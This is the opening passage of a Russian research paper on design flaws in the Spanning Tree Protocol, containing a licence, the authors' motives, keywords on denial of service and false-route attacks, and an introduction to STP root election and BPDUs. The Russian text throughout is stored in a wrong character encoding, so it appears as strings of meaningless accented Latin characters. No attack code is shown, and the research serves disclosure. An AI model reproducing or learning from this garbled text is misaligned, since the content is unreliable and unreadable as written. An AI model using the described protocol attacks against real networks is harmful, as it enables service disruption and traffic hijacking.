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Ëèöåíçèîííîå ñîãëàøåíèå
Äàííîå èññëåäîâàíèå ÿâëÿåòñÿ èíòåëëåêòóàëüíîé ñîáñòâåííîñòüþ Îëå-

ãà Àðòåìüåâà è Âëàäèñëàâà Ìÿñíÿíêèíà (çäåñü è äàëåå - àâòîðîâ). Îíî
ìîæåò ñâîáîäíî èñïîëüçîâàòüñÿ äëÿ ññûëîê, íî åãî òåêñò - êàê ïîë-
íîñòüþ, òàê è ÷àñòè÷íî - íå ìîæåò áûòü ïåðåâåäåí íà êàêîé ëèáî ÿçûê
èëè âêëþ÷åí â ëþáóþ äðóãóþ ñòàòüþ, êíèãó, æóðíàë, à òàêæå èíûå
ýëåêòðîííûå èëè áóìàæíûå èçäàíèÿ áåç ïèñüìåííîãî ðàçðåøåíèÿ îáî-
èõ àâòîðîâ. Êðîìå òîãî, ïðè ññûëêå íà ðåçóëüòàòû ýòîãî èññëåäîâàíèÿ,
èëè èõ èñïîëüçîâàíèè íåîáõîäèìî ïîëíîñòüþ ïðèâîäèòü íàçâàíèå, èìå-
íà àâòîðîâ è òåêñò ëèöåíçèè. Ìàòåðèàëû èññëåäîâàíèÿ ìîãóò ñâîáîäíî
ðàñïðîñòðàíÿòüñÿ â ýëåêòðîííîì âèäå, åñëè è òîëüêî åñëè ñîáëþäåíû
ñëåäóþùèå óñëîâèÿ:

1. ëèöåíçèîííîå ñîãëàøåíèå è òåêñò ñàìîãî èññëåäîâàíèÿ îñòàâëåíû
áåç êàêèõ ëèáî èçìåíåíèé, âêëþ÷àÿ PGP ïîäïèñü; ïðè÷åì êàêîå
ëèáî ïåðåôîðìàòèðîâàíèå òåêñòà íå äîïóñêàåòñÿ;

2. ðàñïðîñòðàíåíèå ìàòåðèàëîâ ýòîãî èññëåäîâàíèÿ íå ïðîòèâîðå÷èò
äàííîé ëèöåíçèè.

Ìàòåðèàëû èññëåäîâàíèÿ ñîäåðæàò èíôîðìàöèþ, ñâîáîäíîå ðàñïðîñò-
ðàíåíèå êîòîðîé íå ïðîòèâîðå÷èò çàêîíîäàòåëüñòâó áîëüøèíñòâà ñòðàí.
Åñëè æå âàøå ëîêàëüíîå çàêîíîäàòåëüñòâî ñîäåðæèò îãðàíè÷åíèÿ íà
ðàñïðîñòðàíåíèå èíôîðìàöèè îá óÿçâèìîñòÿõ èíôîðìàöèîííûõ ñèñòåì
(ïîäîáèå DMCA â ÑØÀ), òî ïóáëèêàöèÿ äàííûõ ìàòåðèàëîâ â ýòîé ñòðà-
íå ïðîòèâîðå÷èò äàííîé ëèöåíçèè. Áîëåå òîãî, áóäó÷è ãðàæäàíèíîì òà-
êîé ñòðàíû è ÷èòàÿ ýòó ñòàòüþ, âû íàðóøàåòå è çàêîíîäàòåëüñòâî ñâîåé
ñòðàíû, è äàííóþ ëèöåíçèþ.

Àâòîðû íå íåñóò îòâåòñòâåííîñòè çà ëþáûå ïîñëåäñòâèÿ îò èñïîëüçî-
âàíèÿ (èëè íå èñïîëüçîâàíèÿ) èçëîæåííîé â èññëåäîâàíèè èíôîðìàöèè,
âêëþ÷àÿ ïîâðåæäåíèå äàííûõ, íåäîïîëó÷åíèå ïðèáûëè, à òàêæå ëþáûå
äðóãèå êîñâåííûå èëè ïðÿìûå ïîòåðè.

Àâòîðû äåêëàðèðóþò ìàòåðèàëû ýòîãî èññëåäîâàíèÿ êàê èñêëþ÷è-
òåëüíî îáðàçîâàòåëüíûå. Âû íå äîëæíû çíàêîìèòüñÿ ñ íèìè, åñëè íå
ñîãëàñíû èñïîëüçîâàòü èõ èíà÷å êàê â îáðàçîâàòåëüíûõ öåëÿõ.

Äàííîå ëèöåíçèîííîå ñîãëàøåíèå ìîæåò áûòü èçìåíåíî áåç ïðåäóï-
ðåæäåíèÿ ïî ñîãëàñèþ îáîèõ àâòîðîâ.

Ãàðàíòèè: ýòî èññëåäîâàíèå ðàñïðîñòðàíÿåòñÿ áåç êàêèõ ëèáî ãàðàí-
òèé è îòâåòñòâåííîñòè.
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. . .
They say that is technological breakdown. . .
. . . or no - this is the road to hell.
. . .
Chris Rea.

. . .
Ñòîé, îïàñíàÿ çîíà - ðàáîòà ìîçãà.

. . .
Â. Öîé.

Çàìå÷àíèÿ
Ýòîò äîêóìåíò îñíîâàí íà àíàëèçå ñòàíäàðòîâ IEEE, îòíîñÿùèõñÿ ê

ïðîòîêîëó Spanning Tree [1], à òàê æå íà àíàëèçå ñòàíäàðòà RFC 2878
[5], è áóäåò ÷àñòî öèòèðîâàòü è ññûëàòüñÿ íà íèõ. Âñå êîïèðàéòû è çà-
ðåãèñòðèðîâàííûå òîðãîâûå ìàðêè, óïîìÿíóòûå â íåì, ïðèíàäëåæàò èõ
ñîáñòâåííèêàì. Ïðîòîêîë è àëãîðèòì Spanning Tree îïðåäåëåíû â ãëàâå
8 ñòàíäàðòà ¾MEDIA ACCESS CONTROL (MAC) BRIDGES ANSI/IEEE
Std 802.1D¿ [1].

Íà ìîìåíò ïóáëèêàöèè ïåðâè÷íûõ äàííûõ ÷àñòü ðàçäåëîâ òðåáîâà-
ëà äîâîäêè - âíåñåíèÿ èçìåíåíèé, äîïîëíèòåëüíûõ ïîäðîáíîñòåé. Ôðàã-
ìåíòû, êîòîðûå áóäóò äîðàáîòàíû â ñëåäóþùåé âåðñèè, ïîìå÷åíû â
òåêñòå çíàêîì ⊗.

Ýòîò äîêóìåíò ïðåäíàçíà÷åí äëÿ òåõ, êòî, êàê ìèíèìóì, çíàêîì ñ
ìîäåëüþ OSI [2]. Äëÿ òåõ, êòî íå èìåë âîçìîæíîñòè ïðî÷åñòü ñîäåðæè-
ìîå ñòàíäàðòà [1], íàïèñàíà êðàòêîå ââåäåíèå â ðàáîòó ïðîòîêîëà STP,
êîòîðîå, îäíàêî, íå ìîæåò çàìåíèòü ÷òåíèÿ ýòîãî ñòàíäàðòà, ïîñêîëüêó
ðàññìàòðèâàåò ïîäðîáíî òîëüêî òå îñîáåííîñòè åãî ðàáîòû, êîòîðûå íå-
îáõîäèìû äëÿ îïèñàíèÿ åãî íåäîêóìåíòèðîâàííîãî ïðèìåíåíèÿ. Òàêæå
ïðåäïîëàãàåòñÿ, ÷òî ÷èòàòåëü èìååò õîðîøåå ïðåäñòàâëåíèå î ïîñòðîå-
íèè ËÂÑ è èñïîëüçóåìûõ â ýòîé îáëàñòè ñîêðàùåíèÿõ. Â öåëÿõ íàèáîëåå
òî÷íîé ïåðåäà÷è ñìûñëà ìíîãèå öèòàòû èç îðèãèíàëüíîé äîêóìåíòàöèè
è òåêñòîâ ñòàíäàðòîâ îñòàâëåíû íà àíãëèéñêîì ÿçûêå. Â ñâÿçè ñ ýòèì
ïðåäïîëàãàåòñÿ, ÷òî ÷èòàòåëü âëàäååò àíãëèéñêèì ÿçûêîì â ñòåïåíè, äî-
ñòàòî÷íîé äëÿ ïîíèìàíèÿ òåõíè÷åñêîãî òåêñòà. Äàëåå â òåêñòå ïðè îïè-
ñàíèè àòàê, äî òåõ ïîð, ïîêà íå ñêàçàíî èíîãî, ðàññìàòðèâàþòñÿ àòàêè
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íà óñòðîéñòâà ñ èñïîëüçîâàíèåì Spanning Tree Protocol1.

Èäåÿ è ïåðâè÷íûé òåêñò ïðèíàäëåæàò Îëåãó Àðòåìüåâó2, ïåðâè÷íàÿ
êîíöåïòóàëüíàÿ ðåàëèçàöèÿ â êîäå ïðèíàäëåæèò Âëàäèñëàâó Ìÿñíÿí-
êèíó3. Äëÿ ñâÿçè ñ âëàäåëüöåì ëþáîãî èç óêàçàííûõ â ñòàòüå email'îâ
íàäî óáðàòü èç íåãî ñëîâî NOSPAM - äëÿ ïðåäîòâðàùåíèÿ àâòî-ñïàìà.
Õîòåëîñü áû ñêàçàòü íåñêîëüêî ñëîâ î ïðè÷èíàõ íàïèñàíèÿ ýòîé ñòàòüè
àâòîðàìè:

Îëåã Àðòåìüåâ: Õî÷åòñÿ ñêàçàòü ñåáå è âñåìó ìèðó - ÿ íå ñêðèïò-
êèääè. Æ;) Íàäåþñü, òåïåðü ÿ ìîãó ñêàçàòü ýòî ñ ïîëíûì ïðàâîì.
:) Õî÷åòñÿ äîáàâèòü ñòðî÷êó â ðåçþìå - ðàçáîð ñòàíäàðòà ïî êîñ-
òî÷êàì ñ âûÿâëåíèåì åãî íåäîñòàòêîâ - ýòî, êàê íè ñòðàííî, ïîä
ñèëó íå êàæäîìó. Ýòî èíòåðåñíî - çàìå÷àòåëüíàÿ çàðÿäêà äëÿ èí-
òåëëåêòà. Ýòî ïîëåçíî äëÿ âñåãî ìèðà è ìîåé ñòðàíû â ÷àñòíîñòè - â
ðåçóëüòàòå ýòîé ïóáëèêàöèè, ÿ íàäåþñü, áóäåò äàí òîë÷îê â ðàçâè-
òèè ñòàíäàðòîâ ËÂÑ è îáñëóæèâàþùèõ ËÂÑ óñòðîéñòâ â ñòîðîíó
îáåñïå÷åíèÿ ðåàëüíîé, èëè, õîòÿ áû, ïðîñòî áîëüøåé áåçîïàñíîñ-
òè, ÷åì òà, êîòîðàÿ ñóùåñòâóåò â äàííûé ìîìåíò. Äàæå åñëè ëþäè,
îòâåòñòâåííûå çà ðàçðàáîòêó íîâûõ âåðñèé ñåòåâûõ ïðîòîêîëîâ,
ïðîèãíîðèðóþò ýòó ñòàòüþ èì ïðèäåòñÿ ïðèíÿòü âî âíèìàíèå åå
ñîäåðæèìîå ïîñëå òîãî, êàê îíî ñòàíåò äîñòóïíûì âñåìó ìèðó. À
åùå, ÿ íàäåþñü, ÷òî ëþäè, îòâåòñòâåííûå â íàøåé ñòðàíå çà âûáîð
èñïîëüçóåìûõ òåõíîëîãèé â îáëàñòÿõ, îòíîñÿùèõñÿ ê ãîñóäàðñòâåí-
íîé òàéíå, áóäóò ïðåäóïðåæäåíû òàêèì îáðàçîì î ïîòåíöèàëüíîé
îïàñíîñòè òåõíîëîãèé ñîâðåìåííûõ ËÂÑ ðàçðàáîòàííûõ âíå Ðîñ-
ñèè.

Âëàäèñëàâ Ìÿñíÿíêèí: Ìíå ñëîæíî îäíîçíà÷íî ñôîðìóëèðîâàòü ïðè-
÷èíó. Ýòî è åñòåñòâåííûé èíòåðåñ ê îäíîìó èç àñïåêòîâ ñåòåâîé
áåçîïàñíîñòè, ýòî è ïðîÿâëåíèå ÷óâñòâà äîëãà - âåäü â ñâîåé ïî-
âñåäíåâíîé äåÿòåëüíîñòè ÿ ïîëüçóþñü ðåçóëüòàòàìè ÷óæèõ èññëå-
äîâàíèé (â ÷àñòíîñòè, èíôîðìàöèåé îá îáíàðóæåííûõ óÿçâèìîñòÿõ
è ñîîòâåòñòâóþùèìè çàïëàòêàìè).

1Íà äàííûé ìîìåíò ðàññìàòðèâàåòñÿ òîëüêî IEEE ðåàëèçàöèÿ STP (ñì. ðàçäåë 4,
ñòð. 25).

2olli@olli.digger.orgNOSPAM.ru
3vlad@cybervlad.port5.NOSPAMcom
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Êëþ÷åâûå ñëîâà
Óÿçâèìîñòè ïðîòîêîëà Spanning Tree, óÿçâèìîñòè àëãîðèòìà Spanning

Tree; áåçîïàñíîñòü 2-ãî óðîâíÿ OSI; èññëåäîâàíèå áåçîïàñíîñòè ñòàíäàð-
òà IEEE 802.1D; áåçîïàñíîñòü ìîñòîâ, ìàðøðóòèçàòîðîâ è êîììóòàòîðîâ
íà 2-ì óðîâíå OSI; cisco, avaya, 3com, compex, cnet (è ò.ä. - âñå, êòî äåëà-
åò stp-ñîâìåñòèìûå óñòðîéñòâà); óÿçâèìîñòè èíòåëëåêòóàëüíûõ êîììó-
òàòîðîâ, ïîääåðæèâàþùèõ ïðîòîêîë Spanning Tree; ðåàëèçàöèÿ îòêàçà â
îáñëóæèâàíèè è íàâÿçûâàíèå ëîæíîãî ìàðøðóòà ñ èñïîëüçîâàíèåì ïðî-
òîêîëà Spanning Tree; STP design flaw; exploiting STP holes.
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1 Ââåäåíèå â Spanning Tree ïðîòîêîë
Ýòîé ñòàòüåé àâòîðû õîòåëè áû íå ñòîëüêî îáúÿñíèòü, ÷òî òàêîå Span-

ning Tree Protocol, ñêîëüêî ðàññêàçàòü î íåäîêóìåíòèðîâàííûõ âîçìîæ-
íîñòÿõ åãî ïðèìåíåíèÿ, êîòîðûå, âîçìîæíî, íå ïðèíèìàëèñü âî âíèìà-
íèå ðàçðàáîò÷èêàìè ïðîòîêîëà. Ïîýòîìó, íåñìîòðÿ íà òî, ÷òî â ñòàòüå
â îáùèõ ÷åðòàõ ïðèâîäèòñÿ îïèñàíèå ïðîòîêîëà Spanning Tree è åãî íà-
çíà÷åíèÿ, îíà íå ïðåòåíäóåò íà ñòàòóñ ìàòåðèàëà, êîòîðûé ñëåäóåò èñ-
ïîëüçîâàòü äëÿ èçó÷åíèÿ ýòîãî ïðîòîêîëà ñ íóëÿ - ïðåäïîëàãàåòñÿ, ÷òî
âû óæå ÷èòàëè êàêèå-ëèáî ìàòåðèàëû íà ýòó òåìó, à ýòî ââåäåíèå ëèøü
îñâåæèò âàøó ïàìÿòü. Åñëè æå âû âîîáùå íå çíàêîìû ñ ýòèì ïðîòîêîëîì
è (èëè) ýòî ââåäåíèå ïîêàçàëîñü âàì íåäîñòàòî÷íî âðàçóìèòåëüíûì - ðå-
êîìåíäóåì îáðàòèòüñÿ ê ìíîãî÷èñëåííûì îïèñàíèÿì STP â ëèòåðàòóðå,
íà ñàéòàõ âåäóùèõ êîìïàíèé ïðîèçâîäèòåëåé èíòåëëåêòóàëüíûõ LAN-
óñòðîéñòâ (íàïðèìåð, ïîèñêàòü ìàòåðèàëû íà http://www.cisco.com) è,
ðàçóìååòñÿ, ê IEEE ñòàíäàðòó, îïèñûâàþùåìó ýòîò ïðîòîêîë [1]. Òàêæå
â ðàçäåëå 20 (¾ññûëêè¿) åñòü, âîçìîæíî, äîñòàòî÷íûé äëÿ ñîñòàâëåíèÿ
ïîëíîé êàðòèíû íàáîð url.

Îñíîâíîå íàçíà÷åíèå ïðîòîêîëà Spanning Tree - ïîñòðîåíèå òîïîëîãèè
ËÂÑ áåç èçáûòî÷íîãî äóáëèðîâàíèÿ ñîåäèíåíèé èëè çàêîëüöîâûâàíèÿ,
íåäîïóñòèìûõ â ñèëó ëîãèêè ïîñòðîåíèÿ ËÂÑ. STP ïîçâîëÿåò îðãàíèçî-
âàòü â ñåòè, ïîñòðîåííîé ïðè ïîìîùè ìîñòîâ (bridges), îòêàçîóñòîé÷èâóþ
àðõèòåêòóðó4.

Èñïîëüçóÿ STP, âû ìîæåòå ïîñòðîèòü ñåòü, â êîòîðîé ñóùåñòâóåò íå-
ñêîëüêî ïàðàëëåëüíûõ ïóòåé, è ãàðàíòèðîâàòü ïðè ýòîì, ÷òî:

• ðåçåðâíûå ïóòè ïðîõîæäåíèÿ òðàôèêà ïðè íîðìàëüíîì ôóíêöèî-
íèðîâàíèè îñíîâíîãî ïóòè çàáëîêèðîâàíû;

• îäèí èç ðåçåðâíûõ ïóòåé àêòèâèçèðóåòñÿ ïðè íàðóøåíèè îñíîâíîãî
ïóòè.

Íàïðèìåð, íà ðèñóíêå 1 ïîêàçàíà ñåòü, ïîñòðîåííàÿ íà ÷åòûðåõ êîì-
ìóòàòîðàõ, ïîääåðæèâàþùèõ ïðîòîêîë STP. Ýòî îáñòîÿòåëüñòâî ïîçâî-
ëÿåò ñîåäèíèòü èõ èçáûòî÷íûì êîëè÷åñòâîì ëèíêîâ, êîòîðûå â îáû÷íûõ
óñëîâèÿõ ñîçäàëè áû ïåòëè è ïðèâåëè ê íåðàáîòîñïîñîáíîñòè ñåòè. Îä-
íàêî, ïðè èíèöèàëèçàöèè ñåòè STP îáíàðóæèâàåò äóáëèðóþùèå ïóòè

4Íà äàííûé ìîìåíò ïîääåðæêà Spaning Tree Protocol âñòðå÷àåòñÿ íå òîëüêî â ïå-
ðåêëþ÷àòåëüíîì îáîðóäîâàíèè (êîììóòàòîðû, îíè æå ñâèò÷è èëè, â ÷àñòíîì ñëó÷àå,
ìîñòû), íî è â ìàðøðóòèçèðóþùåì îáîðóäîâàíèè, êîòîðîå ñíàáæåíî âîçìîæíîñòüþ
êîììóòèðîâàòü ïàêåòû ìåæäó èíòåðôåéñàìè. Òàê, åñëè ðàññìàòðèâàòü, íàïðèìåð,
Cisco, òî â ðåçóëüòàòå ïîääåðæêè ìàðøðóòèçàòîðîì Bridging Virtual Interface (íà-
ïðèìåð, ìîäåëü 3640 è äð.) ñòàíîâèòñÿ ëîãè÷íîé ïîääåðæêà STP.
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Ðèñ. 1: Ïðèíöèï ðàáîòû STP

è îñòàâëÿåò íà êàæäîå íàïðàâëåíèå òîëüêî îäèí, ïåðåâîäÿ îñòàëüíûå
çàäåéñòâîâàííûå â ëèíêàõ ïîðòû â ñîñòîÿíèå ¾blocking¿ (íà ðèñóíêå ñî-
îòâåòñòâóþùèå ëèíêè çà÷åðêíóòû). Ïðè íàðóøåíèè îñíîâíîãî êàíàëà
ïåðåäà÷è (íàïðèìåð, â ñëåäñòâèå îòêëþ÷åíèÿ îäíîãî èç êîììóòàòîðîâ),
STP îáíàðóæèâàåò ýòîò ôàêò è çàäåéñòâóåò çàïàñíîé ìàðøðóò.

Ïðîòîêîë ðàçðàáîòàí â íà÷àëå 90-õ ãîäîâ XX âåêà (ANSI/IEEE 802.1D
1993 Edition) è äîðàáàòûâàëñÿ â 1996 è 1998 ãîäàõ. Â êà÷åñòâå ìîäåëè
èñïîëüçóåòñÿ ãðàô â âèäå äåðåâà. Ïîñòðîåíèå äåðåâà ñåòè íà÷èíàåòñÿ ñ
êîðíÿ (root) � óñòðîéñòâà, âûèãðàâøåãî âûáîðû êîðíåâîãî (designated
root). Designated root � ýòî ïðîñòî îòïðàâíàÿ òî÷êà äëÿ ïîñòðîåíèÿ àê-
òèâíîé íåçàêîëüöîâàííîé òîïîëîãèè, â êîòîðîé ôèçè÷åñêèå êîëüöà íå
äàþò ëîãè÷åñêèõ êîëåö (ñì. ãëàâû 8 è 9 [1]). Èíûìè ñëîâàìè, ýòî ëîãè-
÷åñêîå ïîíÿòèå.

Âàæíî çàìåòèòü, ÷òî Spanning Tree Protocol îïðåäåëåí äëÿ ðàçëè÷íûõ
ñðåä ïåðåäà÷è äàííûõ (MAC, Media Access Control). Äàëåå â òåêñòå ðàñ-
ñìàòðèâàþòñÿ ïðèìåðû ñåòåé â îñíîâíîì íà áàçå Ethernet, êàê íàèáîëåå
ðàñïðîñòðàíåííîé.

BPDU - ýòî èìåííî ïàêåòû, à íå ôðåéìû. Ýòî ÿñíî èç [1], 8.3.2, ñòð.61.
BPDU ïàêåòû èíêàïñóëèðóþòñÿ â èñïîëüçóåìûé äàííîé òîïîëîãèåé òèï
ôðåéìà ñ ìóëüòèêàñòíûì MAC àäðåñîì â ïîëå íàçíà÷åíèÿ, ÷òî îáóñëàâ-
ëèâàåò ïåðåäà÷ó ýòèõ ïàêåòîâ ÷åðåç íåèíòåëëåêòóàëüíîå îáîðóäîâàíèå,
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íå çíàþùåå î ñóùåñòâîâàíèè Spanning Tree.

Ðàáîòà STP ïîäðàçóìåâàåò âûïîëíåíèå ñëåäóþùèõ óñëîâèé:

1. Âîçìîæíîñòü ïåðåäà÷è èíôîðìàöèè ìåæäó ìîñòàìè, ÷òî îñóùåñò-
âëÿåòñÿ ïóòåì ïåðåäà÷è êàæäûì STP-ñîâìåñòèìûì óñòðîéñòâîì
ñïåöèàëüíûõ áëîêîâ äàííûõ - Bridge Protocol Data Units (BPDU).
Ýòè áëîêè äàííûõ ïåðåäàþòñÿ â ïàêåòàõ ñ îïðåäåëåííûì ãðóïïî-
âûì àäðåñîì íàçíà÷åíèÿ (multicast address), çàðåçåðâèðîâàííûì â
[7].

2. Îäèí èç ìîñòîâ ôóíêöèîíèðóåò êàê ¾âåäóùåå¿ óñòðîéñòâî, íàçû-
âàåìîå Designated Root Bridge.

Designated root ïðèñóòñòâóåò âñåãäà, äàæå êîãäà òîïîëîãèÿ íå ñîäåð-
æèò ôèçè÷åñêèõ êîëåö. Åñëè â ñåòè òîëüêî îäíî STP-ñîâìåñòèìîå óñ-
òðîéñòâî - äî òåõ ïîð, ïîêà STP íå âûêëþ÷åí, îíî áóäåò àíîíñèðîâàòü
ñåáÿ. Êàæäîå STP-ñîâìåñòèìîå óñòðîéñòâî5 íà÷èíàåò ðàáîòó, ñ÷èòàÿ ñå-
áÿ designated root, òàê ÷òî â ñåòè ñ åäèíñòâåííûì STP-ñîâìåñòèìûì
óñòðîéñòâîì îíî è ÿâëÿåòñÿ Designated Root Bridge.

Åñëè æå â ñåòè ïðèñóòñòâóåò áîëåå óñòðîéñòâà, ïîääåðæèâàþùåãî STP,
òî Designated Root Bridge âûáèðàåòñÿ ïóòåì ãîëîñîâàíèÿ (âûáîðîâ) íà
îñíîâå çíà÷åíèÿ ïàðàìåòðà Bridge Identifier, îáû÷íî ÿâëÿþùåãîñÿ êîì-
áèíàöèåé óíèêàëüíîãî MAC-àäðåñà ìîñòà è óñòàíàâëèâàåìîãî äëÿ ìîñòà
ïðèîðèòåòà (ñì. [1], ãëàâû 8 è 9). Íà ðîëü Designated Root Bridge íàçíà-
÷àåòñÿ ìîñò ñ íàèìåíüøèì çíà÷åíèåì Bridge Identifier.

Äëÿ âñåõ îñòàëüíûõ ìîñòîâ â ñåòè îïðåäåëÿåòñÿ Root Port, ò.å. ïîðò
ìîñòà, áëèæàéøèé ê Root Bridge. Îò äðóãèõ ïîðòîâ, ñîåäèíåííûõ ñ root
bridge íåïîñðåäñòâåííî èëè ÷åðåç äðóãèå ìîñòû, îí îòëè÷àåòñÿ ñâîèì
èäåíòèôèêàòîðîì, êîòîðûé ñîäåðæèò åãî íîìåð è ¾âåñ¿, êîòîðûé ìîæåò
áûòü çàäàí àäìèíèñòðàòîðîì.

Äðóãîé âåëè÷èíîé, âëèÿþùåé íà ïðîöåññ âûáîðîâ, ÿâëÿåòñÿ Root Path
Cost. Îíà ñîñòîèò èç ñòîèìîñòè ïóòè äî Root Port äàííîãî ìîñòà ïëþñ
ñòîèìîñòü ïóòåé äî Root Port ìîñòîâ ïî âñåìó ìàðøðóòó äî Root Bridge.

5Â äàííîì ñëó÷àå àâòîðû ïîçâîëÿþò ñåáå íåêîòîðóþ âîëüíîñòü, ïîñêîëüêó [1] ðàñ-
ñìàòðèâàåò èñêëþ÷èòåëüíî ìîñòû (èëè ñâèò÷è, êîììóòàòîðû, ïîñêîëüêó êîììóòàòîð
� ýòî ìíîãîïîðòîâûé ìîñò). Íà÷èíàÿ îò ýòîãî ìîìåíòà è äàëåå, ðå÷ü èäåò îá àáñòðàêò-
íîì ¾óñòðîéñòâå¿, êîòîðîå, â ÷àñòíîì ñëó÷àå, ìîæåò áûòü êàê êîììóòàòîðîì, òàê è
ìàðøðóòèçàòîðîì, à ðàâíî è äðóãèì èíòåëëåêòóàëüíûì óñòðîéñòâîì.
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Ïîìèìî Designated Root Bridge â STP ââîäèòñÿ ëîãè÷åñêîå ïîíÿòèå
Designated Bridge. Âëàäåëåö ýòîãî ñòàòóñà ñ÷èòàåòñÿ ãëàâíûì â îáñëóæè-
âàíèè äàííîãî ñåãìåíòà ËÂÑ. Ñòàòóñ Designated Bridge òàêæå ÿâëÿåòñÿ
âûáîðíûì è ìîæåò ïåðåõîäèòü îò îäíîãî óñòðîéñòâà ê äðóãîìó.

Àíàëîãè÷íûì îáðàçîì ââîäèòñÿ âûáîðíîå ëîãè÷åñêîå ïîíÿòèå Desig-
nated Port - ïîðòà, êîòîðûé îáñëóæèâàåò äàííûé ñåãìåíò ñåòè. Äëÿ De-
signated Port ââîäèòñÿ ïîíÿòèå Designated cost, îïèñûâàþùåå ñòîèìîñòü
ïóòè ([1], 8.5.5.5).

Â çàâèñèìîñòè îò ñîäåðæèìîãî ïîëó÷àåìûõ îò ñîñåäíèõ óñòðîéñòâ
êîíôèãóðàöèîííûõ ïàêåòîâ òî èëè èíîå óñòðîéñòâî ïåðåñòàåò îñïàðè-
âàòü ñòàòóñ Designated Root Bridge è íà÷èíàåò àíîíñèðîâàòü óñòðîéñòâî,
âûèãðàâøåå ýòîò ñòàòóñ â ïðîöåññå âûáîðîâ. Òàê ïðîèñõîäèò äî òåõ ïîð,
ïîêà ñèòóàöèÿ íå ïðèäåò ê çàâåðøàþùåé ñòàäèè, êîòîðàÿ õàðàêòåðèçó-
åòñÿ ñëåäóþùèì îáðàçîì:

1. Â ñåòè òîëüêî îäíî óñòðîéñòâî, ñ÷èòàþùåå ñåáÿ êîðíåì, à îñòàëü-
íûå óñòðîéñòâà ïåðèîäè÷åñêè àíîíñèðóþò åãî êàê êîðåíü, ÷òî ïîä-
äåðæèâàåò ñòàòóñ êâî, îáíîâëÿÿ òàéìåðû íà âñåõ STP-ñîâìåñòèìûõ
óñòðîéñòâàõ.

2. Root Bridge ïåðèîäè÷åñêè ïîñûëàåò âî âñå ñâîè ïîðòû ïàêåòû ñ
BPDU. Èíòåðâàë âðåìåíè, ÷åðåç êîòîðûé ïðîèñõîäèò ïîñûëêà, íà-
çûâàåòñÿ Hello Time.

3. Â êàæäîì ñåãìåíòå ñåòè èìååòñÿ åäèíñòâåííûé Designated Bridge
Port - ïîðò, ÷åðåç êîòîðûé ïðîõîäèò îáìåí òðàôèêîì ñ Root Bridge.
Ýòîò ïîðò èìååò íàèìåíüøåå çíà÷åíèå Root Path Cost ïî ñðàâíå-
íèþ ñ äðóãèìè ïîðòàìè â ñåãìåíòå, ëèáî ìåíüøèé bridge ID.

4. BPDU ïðèíèìàþòñÿ è îòïðàâëÿþòñÿ STP-ñîâìåñòèìûì óñòðîéñò-
âîì íà âñåõ åãî ïîðòàõ, äàæå íà òåõ, êîòîðûå áûëè ¾âûêëþ÷åíû¿
ðàáîòîé STP. Îäíàêî BPDU íå ïðèíèìàþòñÿ íà ïîðòàõ, êîòîðûå
áûëè ¾âûêëþ÷åíû¿ àäìèíèñòðàòîðîì.

5. Êàæäûé ìîñò îñóùåñòâëÿåò ïåðåñûëêó (forwarding) ïàêåòîâ òîëüêî
ìåæäó Root Port è ïîðòàìè, êîòîðûå ÿâëÿþòñÿ Designated Bridge
Port äëÿ ñîîòâåòñòâóþùåãî ñåãìåíòà. Âñå îñòàëüíûå ïîðòû íàõî-
äÿòñÿ â ñîñòîÿíèè ¾Blocking¿.

Êàê óæå ãîâîðèëîñü, êîðåíü íå íåñåò íà ñåáå èíûõ îáÿçàííîñòåé, êðîìå
àíîíñà ñâîèõ ïàðàìåòðîâ ñîãëàñíî ñïåöèôèêàöèè Spanning Tree ïðîòî-
êîëà, à ýòî, â ÷àñòíîñòè, çíà÷èò, ÷òî â ñåòè, íå ñîäåðæàùåé ôèçè÷åñêèõ
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êîëåö èëè èçáûòî÷íûõ ñîåäèíåíèé, îò èçìåíåíèÿ âëàäåëüöà ñòàòóñà De-
signated Root Bridge ïóòè ïàêåòîâ, ïåðåñûëàåìûõ ìåæäó äâóìÿ ïðîèç-
âîëüíûìè ñòàíöèÿìè íå èçìåíèòñÿ.

Ñïåöèôèêàöèÿ ïðîòîêîëà [1] íå íàêëàäûâàåò îãðàíè÷åíèé íà âðåìÿ,
â êîòîðîå ìîãóò íà÷àòüñÿ âûáîðû òîãî èëè èíîãî ïàðàìåòðà, à ëèøü
îïèñûâàåò íåîáõîäèìûå äëÿ ýòîãî óñëîâèÿ.

Ê ÷èñëó ñèòóàöèé, â êîòîðûõ âîçíèêàþò âûáîðû êàê ìèíèìóì îäíîãî
èç ïàðàìåòðîâ, îòíîñÿòñÿ:

• ïîäêëþ÷åíèå â ñåòü íîâîãî STP-ñîâìåñòèìîãî óñòðîéñòâà;

• óñòàðåâàíèå èìåþùèõñÿ äàííûõ (íàïðèìåð, â ðåçóëüòàòå âûõîäà
èç ñòðîÿ èëè îòêëþ÷åíèÿ îäíîãî èç óñòðîéñòâ, ó÷àñòâîâàâøèõ â
ñîçäàíèè äåðåâà);

• àäìèíèñòðàòèâíàÿ àêöèÿ, èçìåíÿþùàÿ òîïîëîãèþ ñåòè.
Â êà÷åñòâå ïàðàìåòðîâ ïðè âûáîðàõ èñïîëüçóþòñÿ ñëåäóþùèå âåëè-

÷èíû:

1. Ïîñòîÿííûå âåëè÷èíû:

root path cost - ñòîèìîñòü ïóòè ê êîðíåâîìó óñòðîéñòâó. ×åì ìåíü-
øå çíà÷åíèå, òåì âûøå ïðèîðèòåò ([1], 8.5.1.2);

bridge identifier - èäåíòèôèêàòîð óñòðîéñòâà. ×åì ìåíüøå çíà-
÷åíèå, òåì áîëüøå ïðèîðèòåò ([1], 8.5.1.3);

port identifier - èäåíòèôèêàòîð ïîðòà. ×åì ìåíüøå çíà÷åíèå, òåì
âûøå ïðèîðèòåò ([1], 8.5.1.4).

2. Âûáîðíûå âåëè÷èíû:

designated port - íàçíà÷åííûé ïîðò ([1], 8.5.5.7);
designated root - íàçíà÷åííûé êîðåíü ([1], 8.5.5.4);
designated cost - íàçíà÷åííàÿ ñòîèìîñòü ([1], 8.5.5.5).

Âåëè÷èíû bridge identifier è port identifier ÿâëÿþòñÿ ñîñòàâíûìè è
îáðàçóþòñÿ èç ïîëÿ ïðèîðèòåòà (ìîæåò óñòàíàâëèâàòüñÿ àäìèíèñòðà-
òîðîì) è ïîëÿ, ïðèñâàèâàåìîãî ïðîèçâîäèòåëåì (íåêîòîðûå óñòðîéñòâà
ìîãóò ïîääåðæèâàòü óñòàíîâêó ýòèõ èäåíòèôèêàòîðîâ öåëèêîì).

Ñîãëàñíî ñïåöèôèêàöèè âûáîðíûå âåëè÷èíû, â çàâèñèìîñòè îò êîí-
òåêñòà, ìîãóò ïðèíèìàòü ó÷àñòèå â ðàçëè÷íûõ âûáîðàõ, íàïðèìåð, desig-
